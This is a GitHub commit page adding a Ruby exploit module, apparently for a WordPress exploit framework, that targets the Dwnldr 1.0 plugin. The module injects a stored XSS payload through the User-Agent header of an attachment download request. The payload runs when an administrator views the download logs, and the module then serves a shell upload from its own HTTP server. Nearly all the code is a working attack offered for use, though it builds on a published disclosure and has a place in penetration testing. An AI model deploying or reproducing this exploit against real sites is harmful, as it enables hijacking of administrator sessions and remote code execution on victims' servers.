Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 7a75dc4

Browse files
committed
Add dwnldr XSS module
1 parent 197485a commit 7a75dc4

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Exploit::DwnldrXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::Xss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Dwnldr 1.0 XSS Shell Upload',
9+
author: [
10+
'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
11+
],
12+
references: [
13+
['URL', 'http://blog.rastating.com/dwnldr-1-0-stored-xss-disclosure']
14+
],
15+
date: 'Jul 18 2016'
16+
)
17+
18+
register_options([
19+
StringOption.new(
20+
name: 'attachment_link',
21+
desc: 'The address of a valid attachment download link',
22+
required: true
23+
)
24+
])
25+
end
26+
27+
def check
28+
check_plugin_version_from_changelog('dwnldr', 'readme.txt', '1.01')
29+
end
30+
31+
def run
32+
return false unless super
33+
34+
emit_info 'Storing script...'
35+
res = execute_get_request(
36+
url: datastore['attachment_link'],
37+
headers: { 'User-Agent' => "\"><script>#{xss_ascii_encoded_include_script}</script><\"" }
38+
)
39+
40+
if res.nil?
41+
emit_error 'No response from the target'
42+
return false
43+
end
44+
45+
if res.code != 200
46+
emit_error "Server responded with code #{res.code}"
47+
return false
48+
end
49+
50+
emit_success 'Script stored and will be executed when a user views the download logs for the specified attachment.'
51+
start_http_server
52+
53+
xss_shell_success
54+
end
55+
end

0 commit comments

Comments
 (0)